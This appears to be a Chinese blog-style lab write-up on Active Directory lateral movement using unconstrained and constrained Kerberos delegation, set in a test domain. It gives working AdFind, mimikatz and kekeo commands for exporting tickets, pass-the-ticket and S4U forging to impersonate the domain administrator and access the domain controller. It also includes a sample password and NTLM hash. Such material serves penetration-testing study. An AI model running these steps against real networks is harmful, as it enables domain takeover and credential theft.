第135天:内网安全-横向移动非约束委派约束委派数据库攻防

2024-08-25 13:12

本文主要是介绍第135天:内网安全-横向移动非约束委派约束委派数据库攻防,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

案例一:  横向移动-原理利用-非约束委派

该案例建立了解即可,真实环境应该不可能有人这样配置

非约束委派的原理和利用场景

原理:
机器 A (域控)访问具有非约束委派权限的机器 B 的服务,会把当前认证用户(域管用
户)的的 TGT 放在 ST 票据中,一起发送给机器 B ,机器 B 会把 TGT 存储在 lsass 进程
中以备下次重用。从而机器 B 就能使用这个 TGT 模拟认证用户(域管用户)访问服务。
利用场景
攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管
理员的 TGT ,从而模拟域管用户。

实验环境  god.org

配置环境

首先需要把webserver的computer中委派,设置为信任任何服务

利用这条命令进行更新

setspn -U -A priv/test webadmin

更新后在该用户的属性就会出现委派一栏

而别的用户中不会出现这一栏

msf上线并且提权到system权限

利用ADFIND工具进行查询非约束委派的账户

本来应该设置代理,在本地运行,但是我是linux系统我就直接上传了

adfind下载地址

https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml

 执行命令

AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

让域控主机访问webadmin,正常应该是设置钓鱼

访问过以后让webserver利用mimikatz导出票据

mimikatz sekurlsa::tickets /export

利用管理员的身份伪造票据

mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;9eb18]-2-0-40e00000-Administrator@krbtgt-GOD.ORG.kirbi

 利用该身份就可以访问域控,记得用主机名去访问

案例二: 横向移动-原理利用-约束委派

非约束委派存在不安全性,所以微软在Windows server 2003中引入了约束委派,约束委派攻击主要利用被控主机设置了域控的CIFS服务的约束委派,则攻击者可以先使用S4u2seflt申请域管用户访问被控主机的ST1,然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控

环境配置

然后点击确定,添加服务cifs

给对应的用户也添加上该服务环境配置完成

正常cs控制webserver,并且提权到了system权限后

查询域内设置了约束委派账户的命令

shell c:\users\webadmin\desktop\AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

查询域内设置了约束委派机器的命令

shell AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

 利用kekeo去请求TGT

记得利用system权限去抓取mimikatz

明文:
shell kekeo "tgt::ask /user:webadmin /domain:god.org /password:admin!@#45" "exit"   hash值:
shell kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:579da618cfbfa85247acf1f800a280a4" "exit"

这里我还是直接上传,真实环境在本地设置代理,在本地运行

通过这刚刚生成的TGT伪造s4u请求以Administrator用户身份去访问域控的的CIFS的ST,S4U2Self 获取到的 ST1 以及 S4U2Proxy 获取到的 AD-2008 CIFS 服务的 ST2 会保存在当前⽬录下。

shell kekeo.exe "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/OWA2010CN-God.god.org" "exit"

利用mimikatz导入票据

mimikatz kerberos::ptt 
TGS_Administrator@god.org@GOD.ORG_cifs~OWA2010CN-God.god.org@GOD.ORG.kirbishell dir \\OWA2010SP3\c$

查看当前票据

 访问目标文件加夹

先写到这里后面还有一个综合性靶场以后再做把^_^

这篇关于第135天:内网安全-横向移动非约束委派约束委派数据库攻防的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1105647

相关文章

Linux下MySQL数据库定时备份脚本与Crontab配置教学

《Linux下MySQL数据库定时备份脚本与Crontab配置教学》在生产环境中,数据库是核心资产之一,定期备份数据库可以有效防止意外数据丢失,本文将分享一份MySQL定时备份脚本,并讲解如何通过cr... 目录备份脚本详解脚本功能说明授权与可执行权限使用 Crontab 定时执行编辑 Crontab添加定

如何通过try-catch判断数据库唯一键字段是否重复

《如何通过try-catch判断数据库唯一键字段是否重复》在MyBatis+MySQL中,通过try-catch捕获唯一约束异常可避免重复数据查询,优点是减少数据库交互、提升并发安全,缺点是异常处理开... 目录1、原理2、怎么理解“异常走的是数据库错误路径,开销比普通逻辑分支稍高”?1. 普通逻辑分支 v

Python与MySQL实现数据库实时同步的详细步骤

《Python与MySQL实现数据库实时同步的详细步骤》在日常开发中,数据同步是一项常见的需求,本篇文章将使用Python和MySQL来实现数据库实时同步,我们将围绕数据变更捕获、数据处理和数据写入这... 目录前言摘要概述:数据同步方案1. 基本思路2. mysql Binlog 简介实现步骤与代码示例1

使用shardingsphere实现mysql数据库分片方式

《使用shardingsphere实现mysql数据库分片方式》本文介绍如何使用ShardingSphere-JDBC在SpringBoot中实现MySQL水平分库,涵盖分片策略、路由算法及零侵入配置... 目录一、ShardingSphere 简介1.1 对比1.2 核心概念1.3 Sharding-Sp

Go语言连接MySQL数据库执行基本的增删改查

《Go语言连接MySQL数据库执行基本的增删改查》在后端开发中,MySQL是最常用的关系型数据库之一,本文主要为大家详细介绍了如何使用Go连接MySQL数据库并执行基本的增删改查吧... 目录Go语言连接mysql数据库准备工作安装 MySQL 驱动代码实现运行结果注意事项Go语言执行基本的增删改查准备工作

MySQL 数据库表操作完全指南:创建、读取、更新与删除实战

《MySQL数据库表操作完全指南:创建、读取、更新与删除实战》本文系统讲解MySQL表的增删查改(CURD)操作,涵盖创建、更新、查询、删除及插入查询结果,也是贯穿各类项目开发全流程的基础数据交互原... 目录mysql系列前言一、Create(创建)并插入数据1.1 单行数据 + 全列插入1.2 多行数据

MySQL 数据库表与查询操作实战案例

《MySQL数据库表与查询操作实战案例》本文将通过实际案例,详细介绍MySQL中数据库表的设计、数据插入以及常用的查询操作,帮助初学者快速上手,感兴趣的朋友跟随小编一起看看吧... 目录mysql 数据库表操作与查询实战案例项目一:产品相关数据库设计与创建一、数据库及表结构设计二、数据库与表的创建项目二:员

MybatisPlus中removeById删除数据库未变解决方案

《MybatisPlus中removeById删除数据库未变解决方案》MyBatisPlus中,removeById需实体类标注@TableId注解以识别数据库主键,若字段名不一致,应通过value属... 目录MyBATisPlus中removeBypythonId删除数据库未变removeById(Se

在 Spring Boot 中连接 MySQL 数据库的详细步骤

《在SpringBoot中连接MySQL数据库的详细步骤》本文介绍了SpringBoot连接MySQL数据库的流程,添加依赖、配置连接信息、创建实体类与仓库接口,通过自动配置实现数据库操作,... 目录一、添加依赖二、配置数据库连接三、创建实体类四、创建仓库接口五、创建服务类六、创建控制器七、运行应用程序八

把Python列表中的元素移动到开头的三种方法

《把Python列表中的元素移动到开头的三种方法》在Python编程中,我们经常需要对列表(list)进行操作,有时,我们希望将列表中的某个元素移动到最前面,使其成为第一项,本文给大家介绍了把Pyth... 目录一、查找删除插入法1. 找到元素的索引2. 移除元素3. 插入到列表开头二、使用列表切片(Lis